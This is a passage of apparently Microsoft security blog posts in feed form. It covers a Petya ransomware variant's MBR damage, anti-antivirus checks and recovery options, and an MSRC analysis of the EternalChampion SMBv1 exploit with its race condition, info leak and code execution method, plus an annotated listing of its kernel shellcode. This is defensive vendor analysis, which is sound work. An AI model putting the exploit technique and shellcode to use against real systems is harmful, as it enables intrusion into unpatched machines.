Specifically, it looks for names of processes belonging to Kaspersky Antivirus and Symantec Antivirus and alters its behavior if it finds them. Below are the CRC values that threat checks and their corresponding process names.

CRC value Matching process name
0x651B3005 NS.exe
0x6403527E ccSvcHst.exe
0x2E214B44 avp.exe

Information controlling threats behavior is stored in a global variable (gConfig in the screenshots), which is then used to check during MBR modification.

If Kaspersky Antivirus process is found in the system or if the MBR infection is unsuccessful, the malware then proceeds to destroy the first 10 sectors of the hard drive. The code snippet below shows the threat logic:

Below snapshot shows threat code that destroys 10 sectors of \\\\.\\PhysicalDrive0, including the MBR sector.

On the other hand, if Symantec AV process names are found, the threat does not perform SMB exploitation.

We compared this new ransomware’s MBR infection functionality to the original Petya malware. Here are some of our findings:

Although the layout of the code and encrypted data in the sectors following the MBR varies between the two versions, the code itself is functionally very similar. The encryption process is the same: when the malicious MBR starts, it loads additional code from sectors after the MBR, which in turn proceeds to encrypt the Master File Table (MFT). After the encryption process is complete, the user is presented with the following ransom message, which is different from the typical ASCII skull and crossbones shown by the original Petya:

Ransom note from Petya after MBR infection

Interestingly, the first part of the text is the same message used by the WannaCrypt ransomware:

WannaCrypt ransom note

In terms of the malware code itself, there are some differences between the new Petya variant and the original malware. For example, the malware authors changed the constants for the key expansions of the encryption algorithm (Salsa20)— the standard string "expand 32-byte k" was replaced with the custom "-1nvalid s3ct-id".

The code that is supposed to show the skull and crossbones ransom note is still physically present in the malicious MBR code, but it is only printing empty lines.

The strategy to cause a reboot to trigger the malicious MBR code has also been updated. The original version generated a serious system error by calling NtRaiseHardError with code 0xC0000350 (STATUS_HOST_DOWN), which forced the machine to reboot. The new Petya variant has also added a function to schedule a task that reboots the machine after a pre-configured number of minutes.

Fake victim ID

Below is the structure of the malware configuration stored by threat at Sector 32 (0x20):

typedef struct

{

BYTE Null;

BYTE SalsaKey[0x20];

BYTE SalsaIV[0x08];

BYTE BitcoinAddress[0x22];

BYTE Empty[0x5E];

BYTE VictimID[0x3C]; // 60 bytes        

BYTE Empty2[0x11B];        

}

The VictimID shown to the user is randomly generated using CryptGenRandom() and does not correspond to the MFT encryption, so the ID shown is of no value and is also independent from the per-drive file encryption ID written on README.TXT.

Below is a sample disk sector 32 written by the malware. Unlike the original Petya malware, elliptic curve data is empty.

Boot recovery options

Petya causes some damage to the operating system's boot code. In certain cases, recovery to boot the infected machine to a clean state is possible.

Case 1: If machine is equipped with secure boot + UEFI

If an infected machine shows the message below, it means the threat couldn’t hijack the boot process and encrypt MFT. In this case, booting off a clean installation media and performing Startup Recovery can fix the issue, and the machine can be booted.

Case 2: If system is non-UEFI, installed with Kaspersky Antivirus, and in a state where boot completely fails

The ransomware attempts to destroy the first 10 sectors of the \\\\.\\PhysicalDrive0 if Kaspersky Antivirus is found or if the MBR infection is unsuccessful. Thus, boot process hijack through malicious MBR hasn’t been completed so the MFT (Master File table) contents are intact and not encrypted by the threat. In this case, the partition table information is destroyed by the threat. Given that it stores critical information needed in the booting process, a traditional boot repair process may not work. Rebuilding the partition table may require consultation with an expert.

Case 3: if a ransom message like below is seen, recovery is not possible

The image is shown if the machine reboots and the malicious MBR is executed successfully. In this case, it is likely that the malware successfully encrypted the MFT, a vital structure of the NTFS file system. Unfortunately, recovery is not possible, and the machine is not capable of booting anymore. One can take the hard disk to another clean system, use disk recovery tools to recover any recoverable personal files, and reimage the system.

Protection against ransomware attacks

The new Petya ransomware variant we saw this week is significantly more complex than the original. It also improved on WannaCrypt's spreading mechanisms by using a second exploit and adding more propagation methods. These lateral movement capabilities make this ransomware a higher risk for networks with an infected machine. Furthermore, the boot sector modification behavior discussed in this blog gives this ransomware more potential to cause damage to machines.

This Petya outbreak exemplifies the ever-increasing sophistication of ransomware attacks. A multi-layer defense stack is needed to protect computers and networks. At Microsoft, we strive to continuously enhance Windows 10 with next-generation features to protect customers. As described in this blog, Windows 10 has defenses that can mitigate ransomware attacks like Petya.

Windows Defender Antivirus and Windows Defender Advanced Threat Protection allows customers to detect, investigate, and respond to ransomware attacks. For enterprises, Device Guard locks down devices and provide kernel-level virtualization based security. Credential Guard protects domain credentials stored in the Windows Credential Store.

Keep your software up-to-date to block threats that attempt to exploit software vulnerabilities to infect machines or spread across networks. Additionally, secure privileged access to protect your network from credential theft.

To know more about security features in Windows 10, read out white paper “Next-gen ransomware protection with Windows 10 Creators Update”.

To find mitigation steps specific to this new Petya variant, refer to our blog “New ransomware, old techniques: Petya adds worm capabilities”.

Resources

Next-generation ransomware protection with Windows 10 Creators Update: https://blogs.technet.microsoft.com/mmpc/2017/06/08/windows-10-creators-update-hardens-security-with-next-gen-defense/

Download English language security updates: Windows Server 2003 SP2 x64, Windows Server 2003 SP2 x86, Windows XP SP2 x64, Windows XP SP3 x86, Windows XP Embedded SP3 x86, Windows 8 x86, Windows 8 x64

Download localized language security updates: Windows Server 2003 SP2 x64, Windows Server 2003 SP2 x86, Windows XP SP2 x64, Windows XP SP3 x86, Windows XP Embedded SP3 x86, Windows 8 x86, Windows 8 x64

MS17-010 Security Update: https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

General information on ransomware: https://www.microsoft.com/en-us/security/portal/mmpc/shared/ransomware.aspx

Security for IT Pros: https://technet.microsoft.com/en-us/security/default

 

]]>
https://blogs.technet.microsoft.com/mmpc/2017/06/29/windows-10-platform-resilience-against-the-petya-ransomware-attack/feed/3
Eternal Champion Exploit Analysishttps://blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis/https://blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis/#respondThu, 29 Jun 2017 17:46:49 +0000https://blogs.technet.microsoft.com/srd/?p=4125Recently, a group named the ShadowBrokers published several remote server exploits targeting various protocols on older versions of Windows. In this post we are going to look at the EternalChampion exploit in detail to see what vulnerabilities it exploited, how it exploited them, and how the latest mitigations in Windows 10 break the exploit as-written.

In the coming weeks you can expect to see similar analysis for a number of other “Eternal” exploits.

The vulnerabilities exploited in this blog post were fixed with MS17-010; customers who have installed all patches are protected.

Overview

Eternal Champion is a post authentication SMB v1 exploit targeting Windows XP through Windows 8. As we’ll show, the exploit relies on techniques that have been mitigated since Windows 8 and further mitigated in Windows 10.

This analysis will examine the exploit targeting Windows 7 x64 RTM.

Vulnerability

The issue exploited is a race condition in how SMBv1 handles transactions. A transaction is a type of request that can potentially span multiple packets.

For example, if a request is too large to fit in a single server message block (SMB), a transaction can be created of the appropriate size and this transaction will store the data as it is received from multiple SMBs. Note that multiple SMBs can be contained in a single packet, or they can be spread out over multiple packets.

A transaction is first created using a primary request. The data from the request is copied in to the transaction, and the transaction is added to a transaction list for the connection. If all expected data was received, the transaction is immediately executed. Secondary requests can be made to add additional data to the transaction until the transaction has received all expected data.

There is an issue in the case that the primary transaction contains all expected data: The transaction isn’t marked as “being executed”, but is placed in the transaction list, and is sent to the “ExecuteTransaction” function. This means a race is possible: secondary requests can be made (handled on separate threads) that modify the transaction while it is being executed by ExecuteTransaction.

ExecuteTransaction doesn’t expect this to be possible and having transaction data being modified while it is running, combined with loose parameter validation, can result in access violations.

Exploit

This vulnerability is exploited in two ways. First for an information leak, and second for remote code execution.

Info Leak

The bug is first exploited to leak pool information via an out-of-bounds read. To do this, a single packet containing multiple SMBs is sent to the server.

Before going in to the chain of events that occurs, here is a TRANSACTION data structure with relevant fields to this exploit:

srv!TRANSACTION
…
+0x010 Connection       : Ptr64 _CONNECTION
…
+0x080 InData           : Ptr64 Char // data received
+0x088 OutData          : Ptr64 Char // data to send (same buffer as InData)
…
+0x0a4 DataCount        : Uint4B // data received so far
+0x0a8 TotalDataCount   : Uint4B // total data expected (size of InData)
…
+0x0e3 Executing        : UChar

 

The packet sent to the server contains three primary pieces:

  1. A NT Primary Transaction request for the function NT RENAME. This request contains all expected data and will be immediately executed.
  2. A NT Secondary Transaction request designed to trigger the race condition for the primary request.
  3. A series of Primary Transaction requests intended to spray the pool with srv!TRANSACTION structures. The goal is to get one of these structures allocated directly after the srv!TRANSACTION structure that tracks the first NT Primary Transaction request.

 

The initial transaction created is for an NT RENAME request. This function is effectively a no-op that reads the request in to its InData buffer, sets DataCount to be the number of bytes copied, and later returns DataCount bytes from its OutBuffer (which points at the InBuffer) back to the client (simply echoing back what the client sent it).

Note that because the primary request contains all expected data, DataCount == TotalDataCount.

The secondary transaction request takes advantage of the previously described race and some additional issues.

When processing the secondary transaction, parameter validation is too relaxed. The function validates that the data the client sent will fit in the InData buffer and if so, copies the data in. Note that the client tells the server the offset in to InData to write data, and the number of bytes to write. This allows a legitimate client to fill in all pieces of the transaction using multiple SMBs. This validation was okay.

The transaction also has a DataCount field which tracks the number of bytes received, and TotalDataCount which is the size of the InData buffer. When the secondary transaction request handler writes data to InData, DataCount is incremented by the number of bytes written. While there is code that validates that InData isn’t overflowed, there were no checks ensuring that DataCount doesn’t exceed TotalDataCount.

Normally this wouldn’t be too much of an issue because the secondary transaction request handler will not execute the transaction unless DataCount == TotalDataCount. Unfortunately, another thread is already executing ExecuteTransaction on this transaction due to the race condition under attack.

The in-progress ExecuteTransaction ends up copying back DataCount bytes from InData, but DataCount has been incremented to be bigger than the size of InData by the secondary transaction request thread, resulting in out-of-bounds data being sent back to the client. This out-of-bounds data contains the contents of one of the TRANSACTION structures that was sprayed to the pool. The exploit’s goal is to leak back the “Connection” pointer contained in the TRANSACTION structure.

Remote Code Execution

The vulnerability is exploited in a similar way for remote code execution, this time using a Transaction2/Transaction2Secondary request instead of using an NT Transaction.

First, a transaction is created that contains the shellcode. This transaction isn’t used to trigger the bug; it just contains the second stage payload.

Next, a packet is sent that contains multiple SMBs. The packet contains:

  1. A Trans2 Primary SMB to do a QueryPathInfo
  2. Several Trans2 Secondary SMBs to trigger a race condition

The Trans2 Primary SMB once again contains all expected transaction data and immediately begins execution. Eventually the function SrvSmbQueryPathInformation executes. This function has one particularly nice line of code for an attacker:

transaction->InData = (PVOID)&objectName;

This line of code is making the transaction’s InData pointer point at a stack variable.

Because of the previously described race, as this happens there are other threads simultaneously processing the Trans2 Secondary SMBs. As noted previously, the secondary transaction handler ensures the secondary transaction request’s data can fit in the InData buffer and if so, copies it. Except due to the race, the InData pointer now points to the stack of the primary transaction request handlers thread (as opposed to the expected pool buffer). This allows an attacker to write their data directly to the stack of another thread.

if ( dataCount != 0 ) {
    RtlMoveMemory(
                  transaction->InData + dataDisplacement,//displacement attacker controlled
                  (PCHAR)header + dataOffset, // attackers data within the request
                  dataCount //dataCount is attacker controlled
                  );
}

 

The attacker has control over the displacement from InData to copy the data in addition to the amount of data to copy. This allows them to precisely overwrite a return address stored on the stack of the primary transaction request handlers thread.

Payload

At this stage, the attacker can overwrite a return address on another thread in a precise manner (no other data will be tampered with). Because the saved return address being overwritten is in another thread, there’s not necessarily a guarantee that the registers will contain useful information for building a stack pivot and ultimately performing ROP.

In the info leak stage, the attacker leaked the address of a CONNECTION object. One of the fields in this object is a UNICODE_STRING named ClientOSType which contains an attacker controlled UNICODE_STRING that gets set during the initial connection handshake. The attacker can also control the value of Length and MaximumLength in the UNICODE_STRING based on their initial handshake.

ntdll!UNICODE_STRING
+0x000 Length           : Uint2B
+0x002 MaximumLength    : Uint2B
+0x008 Buffer           : Ptr64 Wchar

 

A UNICODE_STRING has 4 padding bytes (in this case set to 0) between the MaximumLength and Buffer fields, and Buffer points to attacker controlled data.

With this knowledge in mind, an attacker forces the MaximumLength to be 0x15ff. The attacker overwrites the return address to be the address of CONNECTION->ClientOSType.MaximumLength. When this (combined with the 4 padding bytes) is interpreted as an instruction, we get:

fffffa83`0398e3ea ff1500000000    call    qword ptr [fffffa83`0398e3f0]

This calls the address stored immediately after this instruction. The address immediately after this instruction is the “Buffer” pointer, so this calls in to the attacker controlled ClientOSType data buffer. Note that since this is a call instruction, the return address pushed on to the stack is the address of the “Buffer” field.

See below for a detailed analysis of the shellcode that is executed. The cliff notes are:

Stage 1 (position independent shellcode):

  1. Pop off the return address from the stack to get the address of CONNECTION->ClientOSType.Buffer
  2. Use this knowledge to loop through the linked list of TRANSACTIONS stored at CONNECTION->TransactionList
  3. Look for a transaction that starts with a special identifier, this contains Stage2 shellcode
  4. Copy Stage2 shellcode from the transaction in to the data buffer immediately after Stage1
  5. Execute it

Stage 2:

  1. Do additional sanity checks
  2. Execute user supplied (via fuzzbunch) shellcode

 

Mitigations Impact on Exploit

As noted above, Windows 8 x64 (and newer) platforms weren’t affected by this exploit. The primary reason for this is because starting with Windows 8, a large amount of the kernel virtual address space (including the paged and non-paged pool) was made non-executable. Because each stage of this exploit depends on executing memory out of the pool, the exploit as-written will not work against Windows 8 x64 and above. For more information on the NX changes made for Windows 8, see: http://media.blackhat.com/bh-us-12/Briefings/M_Miller/BH_US_12_Miller_Exploit_Mitigation_Slides.pdf.

For application compatibility reasons, 32-bit versions of Windows still have an executable paged pool (among other regions), so the exploit does successfully target 32bit Windows 8.

Looking beyond Windows 8, Microsoft has made additional improvements to kernel security in Windows 10 which make exploitation of this vulnerability more difficult:

  1. Hypervisor-enforced Code Integrity (HVCI) prevents unsigned kernel pages from being executed, further blocking exploitation avenues.
  1. Windows 10 1607 and 1703 introduced full 64-bit kernel ASLR (all regions except HAL heap randomized in 1607, HAL heap randomized in 1703) which will make adapting this vulnerability to more modern platforms more difficult (a more involved exploit would be required to bypass the NX memory mitigations).

Final Words

I’d like to extend a thank you to Swamy Shivaganga Nagaraju and Nicolas Joly (MSRC Vulnerabilities and Mitigations Team) and Viktor Brange (WDG OSR team) for their notes and help provided in identifying these race conditions.

- Joe Bialek from MSRC Vulnerabilities and Mitigations Team

 

 

Shellcode

;;;;;;;;;;;;;;;;;;;;
; STAGE 0
;;;;;;;;;;;;;;;;;;;;

;
; Stage 0 is extremely simple. It is a UNICODE_STRING structure stored at
; CONNECTION->ClientOSType. This UNICODE_STRING is initialized
; when the attacker first connects to the SMB server. It's Length,
; MaximumLength, and contents of Buffer are attacker controlled or influenced.
; The attacker makes the MaximumLength of the UNICODE_STRING be 0x15ff.
; The 4 padding bytes inbetween MaximumLength and Buffer are 0.
; When MaximumLength is executed as an instruction, these 4 bytes result
; in a relative call to the address stored immediately after the
; instruction. This results in the first byte of the buffer pointed to
; by Buffer being executed next, as the Stage 1 shellcode.
;

fffffa83`0398e3ea ff1500000000    call    qword ptr [fffffa83`0398e3f0]

;;;;;;;;;;;;;;;;;;;;
; END OF STAGE 0
;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;
; STAGE 1
;;;;;;;;;;;;;;;;;;;;

;
; The stage 1 shellcode is located within the CONNECTION->ClientOSType.Buffer
; buffer. The point of this shellcode is
; to copy in custom shellcode from a TRANSACTION and execute it.
;

stage1_shellcode_entry:

;
; This determines the location of a the connection
; structure for this SMB connection by popping r8.
; This pops the return address of the stack
; which happens to be the address of CONNECTION->Buffer
; (because that is where this was called from).
; Knowing where the CONNECTION structure
; is located, an attacker can search through the
; PAGED_CONNECTION->TransactionList looking for a
; transaction with a magic identifier.
;

; The first instruction jmps a little ways down over 
; some data embedded in the shellcode. They need to 
; start with a jump (as opposed to embedding data first 
; thing and calling to the spot the instructions start) 
; because they can only call directly in to this buffer, 
; not to an offset within it.
fffffa83`02dbb010 eb08            jmp     fffffa83`02dbb01a

<< some_embedded_data >>

; Pop off the return instruction from the stack. 
; The return instruction is: &(CONNECTION->ClientOSType.Buffer)
fffffa83`02dbb01a 4158            pop     r8
fffffa83`02dbb01c 50              push    rax
fffffa83`02dbb01d 50              push    rax

; lea of part of some_embedded_data
fffffa83`02dbb01e 488d0df4ffffff  lea     rcx,[fffffa83`02dbb019]

; Starts off at 1 in my test. Seems to be a test if 
; custom shellcode needs to be copied in from another 
; buffer or if the default shellcode should be used. 
; This could be some sort of multithreaded guard.
fffffa83`02dbb025 8a01            mov     al,byte ptr [rcx]
fffffa83`02dbb027 84c0            test    al,al
 
; jmp to stage2_shellcode_entry
fffffa83`02dbb029 745b            je      fffffa83`02dbb086

; *rcx this was initially 1, now set it to 0
fffffa83`02dbb02b c60100          mov     byte ptr [rcx],0
fffffa83`02dbb02e 31c0            xor     eax,eax

; Retrieve an offset some_embedded_data (it is 0x228 in my test)
fffffa83`02dbb030 668b05dbffffff  mov     ax,word ptr [fffffa83`02dbb012]

; sub 0x228 from the r8 pointer (which pointed 
; to &(CONNECTION->ClientOSType.Buffer). 
; r8 is now &(CONNECTION->PagedConnection)
fffffa83`02dbb037 4929c0          sub     r8,rax

; rax = PAGED_CONNECTION corrosponding to the CONNECTION 
fffffa83`02dbb03a 498b00          mov     rax,qword ptr [r8]   

; rax = The first TRANSACTION in the linked list 
; from PAGED_CONNECTION->TransactionList.Flink 
fffffa83`02dbb03d 488b4010        mov     rax,qword ptr [rax+10h]
fffffa83`02dbb041 4831d2          xor     rdx,rdx

; Read in the offset between TRANSACTION->ConnectionListEntry 
; and TRANSACTION->InData from some_embedded_data. In my test this is 0x58.
fffffa83`02dbb044 8a15ceffffff    mov     dl,byte ptr [fffffa83`02dbb018]

; Read in data I'll refer to as "AttackerTransactionMarker" 
; from some_embedded_data
fffffa83`02dbb04a 448b15c3ffffff  mov     r10d,dword ptr [fffffa83`02dbb014]

; Save the transaction list head so we don't infinite loop 
; if a matching TRANSACTION isn't found 
fffffa83`02dbb051 4989c3          mov     r11,rax   

; Load the first QWORD from srv!TRANSACTION->InData 
fffffa83`02dbb054 488b0c10        mov     rcx,qword ptr [rax+rdx]

; Check if the first DWORD of the 
; srv!TRANSACTION->InData == AttackerTransactionMarker 
fffffa83`02dbb058 443b11          cmp     r10d,dword ptr [rcx]  

; If a match is found, jmp to matching_transaction_found 
fffffa83`02dbb05b 740a            je      fffffa83`02dbb067  

; Otherwise, look at the next TRANSACTION in the linked list  
fffffa83`02dbb05d 488b00          mov     rax,qword ptr [rax]

; Compare the current element to the list head 
fffffa83`02dbb060 4c39d8          cmp     rax,r11     

; If no matching TRANSACTION was found (end of list), 
; jmp to an instruction that puts us in an infinite 
; loop (to stop from crashing I guess)     
fffffa83`02dbb063 741f            je      fffffa83`02dbb084 

; Loop back up searching the next linked structure 
fffffa83`02dbb065 ebed            jmp     fffffa83`02dbb054 

matching_transaction_found:
;
; If a matching transaction is found, copy the payload
; contained in the transaction in to this buffer
; (after the Stage1 payload). Execute it.
;
fffffa83`02dbb067 57              push    rdi
fffffa83`02dbb068 56              push    rsi

; rdi = Stage1 start address
fffffa83`02dbb069 488d3da0ffffff  lea     rdi,[fffffa83`02dbb010]
fffffa83`02dbb070 31c0            xor     eax,eax
fffffa83`02dbb072 b076            mov     al,76h

; dest = stage2_shellcode_entry
fffffa83`02dbb074 4801c7          add     rdi,rax

; source == TRANSACTION->InData+0x8 (need to skip past the marker)
fffffa83`02dbb077 488d7108        lea     rsi,[rcx+8] 

; rep count == the second DWORD of the InData buffer 
; (first DWORD was the AttackerTransactionMarker to look for)
fffffa83`02dbb07b 8b4904          mov     ecx,dword ptr [rcx+4]

; Copy the second stage shellcode in from the 
; TRANSACTION->InData+8 to stage2_shellcode_entry
fffffa83`02dbb07e f3a4            rep movs byte ptr [rdi],byte ptr [rsi]
fffffa83`02dbb080 5e              pop     rsi
fffffa83`02dbb081 5f              pop     rdi

; jump to stage2_shellcode_entry
fffffa83`02dbb082 eb02            jmp     fffffa83`02dbb086


infinite_loop:
fffffa83`02dbb084 ebfe            jmp     fffffa83`02dbb084


;;;;;;;;;;;;;;;;;;;;

; END OF STAGE 1

;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;

; STAGE 2 SHELLCODE

;;;;;;;;;;;;;;;;;;;;
;
; The second stage of shellcode is read in from a TRANSACTION record.
; The point of this stage is to either:
; 1: Transfer execution to custom attacker supplied shellcode
; 2: Recover this thread and resume normal execution
;      on it (in the case that the attacker shellcode has already run)
;

stage2_shellcode_entry:

;
; This block has a check to ensure the custom shellcode
; is only run once. If it hasn't been run, it is executed.
; Otherwise, cleanup steps are taken to return this
; thread to normal execution.
;
fffffa83`02dbb086 488d0de7000000  lea     rcx,[fffffa83`02dbb174]

; retrieve the last byte prior to payload
fffffa83`02dbb08d 8a01            mov     al,byte ptr [rcx]
fffffa83`02dbb08f 84c0            test    al,al

; if it was zero, go to code that attempts to gracefully 
; cleanup the exploit and resume normal execution
fffffa83`02dbb091 7408            je      fffffa83`02dbb09b

; set the byte to 0 (some sort of multithread guard I believe)
fffffa83`02dbb093 c60100          mov     byte ptr [rcx],0

; call MY_CUSTOM_PAYLOAD
fffffa83`02dbb096 e8da000000      call    fffffa83`02dbb175

cleanup_and_resume_main:

;
; It appears this code looks at the ETHREAD to find a pointer (code or pool).
; Depending on rax determines what state the worker thread is currently in.
; Depending on this state, the appropriate cleanup actions are taken
; which can consist of either:
;    1: Scanning the page for a relative jmp and taking that jmp
;    2: Adjusting the stack (rsp) and setting up some registers &
;       other data, and jmping into the start of srv!WorkerThread to
;       resume worker thread processing
;
; Note that I wasn’t able to trigger condition 1 on my system so
; it is unknown to me what the jmp is that they are taking.
;

; Call get_pointer_from_ethread to get a code pointer to NT
fffffa83`02dbb09b e84d000000      call    fffffa83`02dbb0ed
fffffa83`02dbb0a0 4889c2          mov     rdx,rax
fffffa83`02dbb0a3 58              pop     rax
fffffa83`02dbb0a4 59              pop     rcx

; check if the rax value initially pushed to the 
; stack (start of shellcode) == 3 (it is on my system)
; jmp to cleanup_resume_to_worker_thread
fffffa83`02dbb0a5 4883f803        cmp     rax,3
fffffa83`02dbb0a9 741f            je      fffffa83`02dbb0ca

; check if the rax value initially pushed to the 
; stack (start of shellcode) == 0
; jmp to cleanup_resume_to_worker_thread
fffffa83`02dbb0ab 4883f800        cmp     rax,0
fffffa83`02dbb0af 7419            je      fffffa83`02dbb0ca

; if we get to this point, it seems to be expected that
; get_pointer_from_ethread didn’t return ETHREAD->StartAddress
; and instead returned a pool address.
; add 0x80 to the value previously returned
fffffa83`02dbb0b1 4881c280000000  add     rdx,80h

; check if this address == 0x15ff (looking for 
; the UNICODE_STRING containing the payload)
fffffa83`02dbb0b8 66813aff15      cmp     word ptr [rdx],15FFh
fffffa83`02dbb0bd 7405            je      fffffa83`02dbb0c4

; increment the pointer and loop back around to continue searching
fffffa83`02dbb0bf 48ffc2          inc     rdx
fffffa83`02dbb0c2 ebf4            jmp     fffffa83`02dbb0b8

; increment through the UNICODE_STRING.MaximumLength 
; and 6 padding byte to the Buffer pointer, jump to it
fffffa83`02dbb0c4 4883c206        add     rdx,6
fffffa83`02dbb0c8 ffe2            jmp     rdx

cleanup_resume_to_worker_thread:
;
; Cleanups up and starts execution at srv!WorkerThread.
; In this case it is expected that get_pointer_from_ethread
; returned ETHREAD->StartAddress which points to srv!WorkerThread.
;

; rbx = SrvBlockingWorkQueues
fffffa83`02dbb0ca 4989d8          mov     r8,rbx
fffffa83`02dbb0cd b850000000      mov     eax,50h

; rcx = &(SrvBlockingWorkQueues->AvailableThreads)
fffffa83`02dbb0d2 4a8d0c00        lea     rcx,[rax+r8]
fffffa83`02dbb0d6 31c0            xor     eax,eax
fffffa83`02dbb0d8 ffc0            inc     eax

; Increment the number of available threads by 1
fffffa83`02dbb0da f00101          lock add dword ptr [rcx],eax

; load  data value (0x48 in this case), add it to the stack pointer
fffffa83`02dbb0dd 8b058d000000    mov     eax,dword ptr [fffffa83`02dbb170]
fffffa83`02dbb0e3 4801c4          add     rsp,rax
fffffa83`02dbb0e6 4c89c1          mov     rcx,r8

; jmp to rdx which is srv!WorkerThread, effectively resuming 
fffffa83`02dbb0e9 ffe2            jmp     rdx


infinite_loop:
fffffa83`02dbb0eb ebfe            jmp     fffffa83`02dbb0eb


get_pointer_from_ethread:
; Seems to return one of 3 things. Some of these fields are in enums and
; I didn’t test across all versions of Windows which may influence the results.
; In my test the EHTREAD->StartAddress was leaked, but these seem to be
; the three options: 
; ETHREAD->StartAddress, (code pointer to srv!WorkerThread)
; ETHREAD->TerminationPort, (pool pointer)
; ETHREAD->AlpcWaitSemaphore.Header.WaitListHead.Blink (pool pointer)

; rdx = KPCR->Prcb.CurrentThread (KTHREAD)
fffffa83`02dbb0ed 65488b142588010000 mov   rdx,qword ptr gs:[188h]

; Load some constant (0x00000388)
fffffa83`02dbb0f6 8b0d70000000    mov     ecx,dword ptr [fffffa83`02dbb16c]
fffffa83`02dbb0fc 85c9            test    ecx,ecx

; jump to get_pointer_from_ethread_alt if constant was 0
fffffa83`02dbb0fe 7416            je      fffffa83`02dbb116


get_startaddress_or_TerminationPort_from_ETHREAD:
; index 0x0388 into ETHREAD (&ETHREAD->StartAddress)
fffffa83`02dbb100 4801ca          add     rdx,rcx

; rax = ETHREAD->StartAddress, this is the code path I saw in testing
fffffa83`02dbb103 488b02          mov     rax,qword ptr [rdx]
fffffa83`02dbb106 4885c0          test    rax,rax

; if StartAddress != null, return StartAddress
fffffa83`02dbb109 7538            jne     fffffa83`02dbb143

; rax = ETHREAD->TerminationPort, return if not null
fffffa83`02dbb10b 488b4208        mov     rax,qword ptr [rdx+8]
fffffa83`02dbb10f 4885c0          test    rax,rax
fffffa83`02dbb112 752f            jne     fffffa83`02dbb143

; if both were null, jump to infinite_loop
fffffa83`02dbb114 ebd5            jmp     fffffa83`02dbb0eb


get_pointer_from_ethread_alt:

;
; Get the base address of NT. Based on the value
; of e_lfanew, parse in to the ETHREAD and retrieve a pointer.
;

fffffa83`02dbb116 52              push    rdx

; call find_ntos_kernel_base, eax = ntos kernel base when done
fffffa83`02dbb117 e828000000      call    fffffa83`02dbb144
fffffa83`02dbb11c 5a              pop     rdx

; rax = DOS_HEADER.e_lfanew address, ecx = e_lfanew
fffffa83`02dbb11d 4883c03c        add     rax,3Ch
fffffa83`02dbb121 8b08            mov     ecx,dword ptr [rax]

; jump if e_lfanew == 0xe8
fffffa83`02dbb123 81f9e8000000    cmp     ecx,0E8h 
fffffa83`02dbb129 740a            je      fffffa83`02dbb135

; jump if e_fanew == 0xf0
fffffa83`02dbb12b 81f9f0000000    cmp     ecx,0F0h
fffffa83`02dbb131 7406            je      fffffa83`02dbb139

; unrecognized e_lfanew, jump to infinite_loop
fffffa83`02dbb133 ebb6            jmp     fffffa83`02dbb0eb
fffffa83`02dbb135 4883c218        add     rdx,18h

; return ETHREAD->AlpcWaitSemaphore.Header.WaitListHead.Blink
fffffa83`02dbb139 4881c2c0030000  add     rdx,3C0h
fffffa83`02dbb140 488b02          mov     rax,qword ptr [rdx]

return:
fffffa83`02dbb143 c3              ret


find_ntos_kernel_base:

;
; Look at the first entry of the IDT. Use this to find
; the base address of NT by looking for the 'MZ' header 1 page at a time.
;

; rax = KPCR->IdtBase
fffffa83`02dbb144 65488b042538000000 mov   rax,qword ptr gs:[38h]

; rax = *(QWORD*)((UCHAR)KPCR->IdtBase + 4) (for KiDivideErrorFault
;  interrupt). This is reading part of the IDT entry (including 
; OffsetMiddle and OffsetHigh) which gives them the 6 most 
; significant bytes of the virtual address for the KiDivideErrorFault 
; interrupt handler.
fffffa83`02dbb14d 488b4004        mov     rax,qword ptr [rax+4]

; Clear out the bottom 12 bits. Bit 15 remains because it is 
; set to 1 (present) which makes the low USHORT greater than 0.
fffffa83`02dbb151 48c1e80c        shr     rax,0Ch
fffffa83`02dbb155 48c1e00c        shl     rax,0Ch
fffffa83`02dbb159 668b10          mov     dx,word ptr [rax]

; look for the MZ header, return if found
fffffa83`02dbb15c 6681fa4d5a      cmp     dx,5A4Dh
fffffa83`02dbb161 7408            je      fffffa83`02dbb16b

; subtract a page and continue looking for the base of ntoskrnl
fffffa83`02dbb163 482d00100000    sub     rax,1000h
fffffa83`02dbb169 ebee            jmp     fffffa83`02dbb159
fffffa83`02dbb16b c3              ret

<<stage2_data>>
fffffa83`02dbb16c 8803            mov     byte ptr [rbx],al
fffffa83`02dbb16e 0000            add     byte ptr [rax],al
fffffa83`02dbb170 480000          add     byte ptr [rax],al
fffffa83`02dbb173 0001            add     byte ptr [rcx],al


MY_CUSTOM_PAYLOAD:

;
; The custom payload that EternalChampion allows the attacker to supply.
;

fffffa83`02dbb175 cc              int     3
fffffa83`02dbb176 cc              int     3
fffffa83`02dbb177 cc              int     3
fffffa83`02dbb178 cc              int     3
fffffa83`02dbb179 cc              int     3
fffffa83`02dbb17a cc              int     3
fffffa83`02dbb17b cc              int     3
fffffa83`02dbb17c cc              int     3

;;;;;;;;;;;;;;;;;;;;
; END OF STAGE 2
;;;;;;;;;;;;;;;;;;;;
]]>
https://blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis/feed/0
Update on Petya malware attackshttps://blogs.technet.microsoft.com/msrc/2017/06/28/update-on-petya-malware-attacks/https://blogs.technet.microsoft.com/msrc/2017/06/28/update-on-petya-malware-attacks/#respondWed, 28 Jun 2017 23:49:33 +0000https://blogs.technet.microsoft.com/msrc/?p=3075As happened recently with WannaCrypt, we again face a malicious attack in the form of ransomware, Petya. In early reports, there was a lot of conflicting information reported on the attacks, including conflation of unrelated and misleading pieces of data, so Microsoft teams mobilized to investigate and analyze, enabling our Malware Protection team to release signatures to detect and protect against the malware.

Based on our investigation, the malware was initially delivered via a Ukrainian company's (M.E.doc) update service for their finance application, which is popular in Ukraine and Russia. Once the initial compromise took hold, the ransomware used multiple tools in its arsenal to spread across impacted networks. If unpatched, the malware uses vulnerabilities CVE-2017-0144 and CVE-2017-0145 to spread across networks. Microsoft released MS17-010 in March that addressed the vulnerabilities exploited by Petya. If that technique was not effective, the malware uses other methods like harvesting of credentials and traversing networks to infect other machines. (read the Microsoft Malware Protection Center analysis here for more details.)

